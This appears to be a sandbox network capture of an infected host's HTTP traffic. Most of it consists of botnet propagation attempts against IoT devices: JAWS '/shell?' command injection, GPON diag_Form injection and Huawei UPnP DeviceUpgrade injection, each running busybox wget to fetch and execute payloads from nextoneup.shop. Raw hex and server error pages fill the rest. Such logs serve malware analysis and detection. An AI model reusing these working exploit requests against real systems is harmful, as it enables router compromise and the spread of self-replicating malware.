20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>34031 9Forbidden1fca</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC
Apr 14, 2024 04:01:42.369327068 CEST	1289	IN	Data Raw: 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 Data Ascii: ; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000;
Apr 14, 2024 04:01:42.369359970 CEST	1289	IN	Data Raw: 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 Data Ascii: 100%; } .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .inf
Apr 14, 2024 04:01:42.369374990 CEST	1289	IN	Data Raw: 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 Data Ascii: nt-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: l
Apr 14, 2024 04:01:42.369482040 CEST	1289	IN	Data Raw: 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 53 54 46 2b 77 67 38 72 48 37 45 7a 4d 77 71 4e 69 62 59 33 38 6d 6c 76 58 4b 44 64 55 35 70 44 48 33 54 52 6b 6c 34 30 76 78 4a 6b 5a 2b 44 4f 32 4e 75 2f Data Ascii: j+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/V
Apr 14, 2024 04:01:42.369513988 CEST	1289	IN	Data Raw: 77 68 76 4f 52 6f 33 63 6b 69 51 35 5a 4f 55 7a 6c 43 4f 4d 79 69 39 5a 2b 4c 58 52 45 68 53 35 69 71 72 49 34 51 6e 75 4e 6c 66 38 6f 56 45 62 4b 38 41 35 35 36 51 51 4b 30 4c 4e 72 54 6a 32 74 69 57 66 63 46 6e 68 30 68 50 49 70 59 45 56 47 6a Data Ascii: whvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxu
Apr 14, 2024 04:01:42.369740963 CEST	1184	IN	Data Raw: 52 65 4b 64 33 76 36 37 6e 50 39 63 4e 44 4a 48 76 6f 44 2b 2b 78 64 76 70 6f 76 58 4b 43 70 35 53 66 6f 47 78 48 73 6a 30 79 46 2b 49 77 48 55 75 73 37 73 6d 56 68 38 49 48 56 47 49 77 4a 74 4c 79 37 75 4e 36 50 65 2f 77 41 6e 72 42 78 4f 6e 41 Data Ascii: ReKd3v67nP9cNDJHvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU
Apr 14, 2024 04:01:42.369759083 CEST	1289	IN	Data Raw: 33 37 0d 0a 34 30 33 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 0d 0a 38 38 0d 0a 46 6f 72 62 69 64 64 65 6e 3c 2f 73 70 61 6e 3e 0a Data Ascii: 37403</span> <span class="status-reason">88Forbidden</span> </section> <section class="contact-info"> Please forward this error screen to 1c127.0.0.1's <a href="mailto:2ain
Apr 14, 2024 04:01:42.369802952 CEST	518	IN	Data Raw: 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </section> <footer> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=131403referral" target="cpanel" title="cPanel, Inc."

Session ID	Source IP	Source Port	Destination IP	Destination Port
2067	192.168.2.13	60834	66.29.153.184	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.125787973 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.312212944 CEST	219	IN	HTTP/1.1 400 Bad request content-length: 90 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2068	192.168.2.13	40120	18.154.238.239	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.173533916 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.404782057 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:42 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2069	192.168.2.13	33744	209.252.101.160	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.178478956 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.409786940 CEST	536	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:01:42 GMT Server: Apache/2.4.53 (Fedora) OpenSSL/1.1.1n mod_auth_gssapi/1.6.3 mod_fcgid/2.3.9 mod_wsgi/4.7.1 Python/3.9 mod_perl/2.0.12 Perl/v5.32.1 Content-Length: 199 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2070	192.168.2.13	54356	23.80.218.14	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.298418999 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2071	192.168.2.13	57878	79.20.167.68	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.328640938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2072	192.168.2.13	57286	117.238.202.223	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.328676939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2073	192.168.2.13	48596	148.71.9.0	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.328725100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2074	192.168.2.13	36232	123.255.95.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.328739882 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2075	192.168.2.13	38606	23.41.236.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.373303890 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.695328951 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:42 GMT Date: Sun, 14 Apr 2024 02:01:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 30 30 35 31 63 37 38 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 32 26 23 34 36 3b 62 64 30 38 31 65 64 34 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 37 30 30 35 31 63 37 38 26 23 34 36 3b 31 37 31 33 30 36 30 31 30 32 26 23 34 36 3b 62 64 30 38 31 65 64 34 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.70051c78.1713060102.bd081ed4<P>https://errors.edgesuite.net/9.70051c78.1713060102.bd081ed4</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2076	192.168.2.13	50646	138.122.165.69	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.477458954 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:42.835897923 CEST	241	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Content-Length: 109 Date: Sun, 14 Apr 2024 02:01:42 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 404: Not Found</title></head><body><h1>Error 404: Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2077	192.168.2.13	60866	66.29.153.184	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.504282951 CEST	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2078	192.168.2.13	59772	156.241.107.105	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:42.534076929 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:01:44.200186014 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima 